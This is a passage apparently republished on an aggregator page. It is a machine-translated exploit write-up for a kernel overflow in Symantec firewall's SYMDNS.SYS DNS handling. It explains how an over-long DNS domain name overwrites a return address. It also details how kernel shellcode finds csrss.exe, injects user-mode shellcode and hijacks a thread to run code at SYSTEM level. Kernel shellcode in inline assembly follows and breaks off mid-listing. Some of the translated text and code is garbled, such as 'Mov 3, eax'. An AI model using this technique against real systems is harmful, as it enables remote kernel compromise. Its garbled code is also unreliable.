SYMANTEC Firewall kernel Overflow Vulnerability exploitation-Security Return Method

Source: Internet
Author: User

SYMANTEC Firewall kernel Overflow Vulnerability exploitation-Security Return Method

SoBeIt
This vulnerability occurs in SYMDNS. in SYS, when a DNS response is processed, because the total domain name length is not verified, you can enter a domain name that is too long to cause overflow. overflow occurs in RING0, IRQL = 2 (DISPATCH_LEVEL) process PID is 0 (idle process) environment.

The format of a DNS message is as follows:
"XEBx0B" // Message ID, which can be set at will, but it is not useful in this vulnerability.
"X80x00" // packet FLAG, 15 position 1 indicates this is a reply packet
"X00x01" // number of problems
"X00x01" // number of replies
"XXXxXX" // number of authorized resource records, which is not important here.
"XXXxXX" // number of records of exceptional information resources, which is not important here.
The above part is the DNS packet header
"XXXxXXx..." // domain name, in the format of each segment Domain Name Length + domain name content, for example, www.buaa.edu.cn is
X03x77x77x77x04x62x75x61x61x03x65x64x75x02x63x6ex00
W B u a e d u c n
X00 indicates that the end is reached. During processing, the number of records with the length is changed to 0x2e, which is "..", and the processing is completed.

In SYMDNS. in SYS, the function for processing incoming domain names is located in SYMDNS. at SYS base address + 0xa76, this function allocates enough space in the stack (in fact, the SHELLCODE Execution is not in the stack, but in the non-Paging pool ). The maximum length of the incoming domain name cannot exceed 0x40 bytes. Therefore, each segment of SHELLCODE is 0 x 3f (63) bytes. After covering 532 bytes, it overwrites the return address of the second call. I am not sure why the return address of the first call is not covered. This vulnerability is characterized by the second processing of incoming domain names in the stack, making the second half of SHELLCODE invisible and terrible. However, we are lucky to have the address of our entire DNS packet (including the DNS packet header) stored in the esp + 0xc where the returned address we overwrite, is an address in a non-Paging pool,

74816d74 4c816c9b 816d002e 816c9e34
| _____ Esp points to this | _______ this is the address of the non-Paging pool.

Now, do you know what to do? Although there is no fixed address in the kernel such as jmp [esp + 0xc] and call [esp + 0xc], we can change it, using command combinations such as pop/ret, the control of the machine is handed over to us. However, it is best not to include pop ebp in these three pop commands, otherwise it will return a strange address inexplicably. There are two combinations of pop/ret at the end of the strstr function. Now, do you understand the role of the Message ID at the beginning? XEBx0B is a direct jump machine command that skips the useless DNS header at the beginning and the length of the first segment of SHELLCODE is counted in bytes. FLASHSKY said in the Journal that it would skip the length of the count byte, but the instruction corresponding to 0x3f is aas, which adjusted the EAX ascii, therefore, this 0x3f can be counted as part of SHELLCODE without affecting EAX and flag, saving a lot of bytes _ ^.

The current environment is a process no. 0. to switch the process address space to another process, you must first obtain the EPROCESS address of the process. Process 0 is very special, that is, the process is basically not mounted on the linked list of all processes, such as ActiveProcessLinks, SessionProcessLinks, WorkingSetExpansionLinks, normally, only the WaitListHead Of The enumerative thread can be used to enumerate all threads and judge the process. This is very troublesome and the code is long, but there is no such thing as a path, in KPCR + 0x55c (+ 55c struct _ KTHREAD * NpxThread), The ETHREAD address of a thread of the No. 8 process is stored. ETHREAD + 0x44 can obtain the EPROCESS address of the thread, in addition, process 8 is mounted on a linked list other than SessionProcessLinks. The next step is to switch the process address space, obtain the physical address of the Process page directory from the target process EPROCESS + 0x18 and modify the current audit register to this value (I also modified the audit information in the KTSS at the beginning as well this value, it is not necessary ). Then select a proper thread in the process to run our user-state SHELLCODE. This option is very important because IRQL = 2, any address that accesses the missing page will cause the IRQL_NOT_LESS_OR_EQUAL blue screen error, because the missing page will lead to page I/O, and will finally wait on the object, this violates rules that cannot wait for objects in IRQL = 2. The operating system follows a standard five-state scheduling model. When a thread waits for a long time, the kernel stack of the thread will be swapped out of the memory. Such a thread cannot be used. Therefore, we need to determine whether ETHREAD + = 0x11e (+ 11e byte KernelStackResident) is TRUE. This is also related to the SYSTEM process to be selected. The SHELL returned by the SYSTEM process is the SYSTEM permission, and the process must be an active process, in order to ensure that there are threads Not swapped out of memory at all times. Winlogon.exe is definitely not good, because in most cases this is a 0 working set process. In the 3 steps of lsass.exe?smss.exe=csrss.exe, I finally chose csrss.exe, because the WIN32 subsystem should be idle anyway. It turns out that the proper thread can be found for this process. The thread that enumerates a process can take the chain table header at EPROCESS + 0x50. The chain table links all the threads of the process, and the chain table is located at ETHREAD + 0x1a4:
Struct _ EPROCESS (sizeof = 648)
+ 000 struct _ KPROCESS Pcb
+ 050 struct _ LIST_ENTRY ThreadListHead
+ 050 struct _ LIST_ENTRY * Flink
+ 054 struct _ LIST_ENTRY * Blink

Struct _ ETHREAD (sizeof = 584)
+ 000 struct _ KTHREAD Tcb
+ 1a4 struct _ LIST_ENTRY ThreadListEntry
+ 1a4 struct _ LIST_ENTRY * Flink
+ 1a8 struct _ LIST_ENTRY * Blink
Or EPROCESS + 0x270, and the chain table is located at ETHREAD + 0x240:
Struct _ EPROCESS (sizeof = 648)
+ 270 struct _ LIST_ENTRY ThreadListHead
+ 270 struct _ LIST_ENTRY * Flink
+ 274 struct _ LIST_ENTRY * Blink

Struct _ ETHREAD (sizeof = 584)
+ 240 struct _ LIST_ENTRY ThreadListEntry
+ 240 struct _ LIST_ENTRY * Flink
+ 244 struct _ LIST_ENTRY * Blink

The rest is to allocate a virtual address in the address space of the Process, lock the address, and copy the SHELLCODE in the past. In turn, call the API ZwOpenProcess (note here, if you do not change the call to, this will lead to a blue screen because the address space does not match.)-> ZwAllocateVirtualMemory-> ZwLockVirtualMemory-> ZwWriteVirtualMemory. For versatility, I use mov eax and API NUMBER; the underlying interface such as int 2e to call the API. Before calling ZwWriteVirtualMemory, We must modify the EIP to be executed next time by this thread. It is saved at KTRAP_FRAME + 0x68 and changed to the allocated address. KTRAP_FRAME is located at the bottom of the thread stack-x29c. ETHREAD + 0x128 points directly to this address. Remember to save the original EIP in our user-state SHELLCODE, similar to push 0x12345678; ret format, the code will return the address of 12345678, so the memory is x68x78x56x34x12xc3, it will be enough to overwrite the 12345678 code. After the code is executed, the thread will resume normal execution.

The last section includes fixed features returned for this vulnerability, restoring some register values, pointing ESP to the return address, and restoring EBP to normal. Here I skipped all the remaining calls in SYMDNS. SYS, because this will take values from the stack, and many of the stack values have been changed, so I will directly return to tcpip! The benefit of returning UDPDeliver is that it does not care what you are dealing with or how to handle it. It only checks the return value, which is in line with our requirements.

This SHELLCODE only has a 3/4 success rate, because in some cases, the address of our DNS packet is not appended to esp + 0xc, and sometimes all threads of the process are swapped out of the memory, there is also a small probability that the NDIS deadlock will occur-_-sometimes there is no problem for a day when the RP breaks out, sometimes the virtual machine is crazy blue screen... Therefore, my use method is not very mature, and I hope you can discuss it well together. The biggest problem with kernel overflow is probably page missing. as IRQL = 2 cannot be used for page replacement, it is likely that some key areas cannot be accessed in some cases. Some workarounds such as work item can be used, which can be called under IRQL = 2 and then completed by the system worker thread for us. These are all ideas for improvement. After handling the safe return method, it is estimated that KO is not returning safely, but SHELLCODE will be much larger.

At the summit, because the FLASHSKY Daniel refused to disclose the source code, he had to do it on his own. During this time, I had to review and retake the exam (I accidentally missed 4 course # _ #), so it took so long. In fact, the Code has been written very early, so I am too lazy to write this document. This morning, I finally made up my mind to complete this document in the morning. I hope you will find some mistakes.

SHELLCODE is composed of the kernel SHELLCODE and the user SHELLCODE. The kernel SHELLCODE is responsible for returning and executing the user SHELLCODE. The user SHELLCODE is a common function. You must add the firewall-based code. The following is the kernel SHELLCODE code, which is converted into a machine code of more than 260 bytes, which is not too large :):

_ Declspec (naked) JustTest ()
{
_ Asm
{
Call go1
Go1:
Pop eax
Push eax
Mov ebx, 0xffdff55c
Mov ebx, dword ptr [ebx]
Mov ebx, dword ptr [ebx + 0x44]

Push 0x73727363
FindProcess:
Mov edi, esp
Lea esi, dword ptr [ebx + 0x1fc]
Push 0x4
Pop ecx
Repe cmpsb
Jecxz go2
Mov ebx, dword ptr [ebx + 0xa0]
Sub ebx, 0xa0
Jmp FindProcess
Go2:
Pop edx
Mov edx, dword ptr [ebx + 0x50]
FindThread:
Movzx ecx, byte ptr [edx-0x86]
Dec ecx
Jecxz go3
Mov edx, dword ptr [edx]
Jmp FindThread
Go3:
Mov eax, dword ptr [ebx + 0x18]
Mov ebp, esp
Sub esp, 0x40
Push edx
Mov 3, eax

Push 0x10
Pop ecx
Xor eax, eax
Lea edi, dword ptr [ebp-0x40]
ZeroStack:
Stosd
Loop ZeroStack
Mov byte ptr [ebp-0x38], 0x18
Lea edi, dword ptr [edx + 0x3c]
Push edi
Lea edi, dword ptr [ebp-0x38]
Push edi
Lea edi, dword ptr [ebp-0x8]
Push 0x1f0fff
Push edi

Mov al, 0x6a
Lea edx, dword ptr [esp]
Int 0x2e
Add esp, 0x10
Test eax, eax
Jnz Failed

Mov byte ptr [ebp-0x3], 0x2
Push 0x40
Push 0x1000
Lea edi, dword ptr [ebp-0x4]
Push edi
Push eax
Lea edi, dword ptr [ebp-0xc]
Push edi
Push dword ptr [ebp-0x8]

Mov al, 0x10
Lea edx, dword ptr [esp]
Int 0x2e
Add esp, 0x18
Test eax, eax
Jnz Failed

Push 0x2
Lea ebx, dword ptr [ebp-0x4]
Pu

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.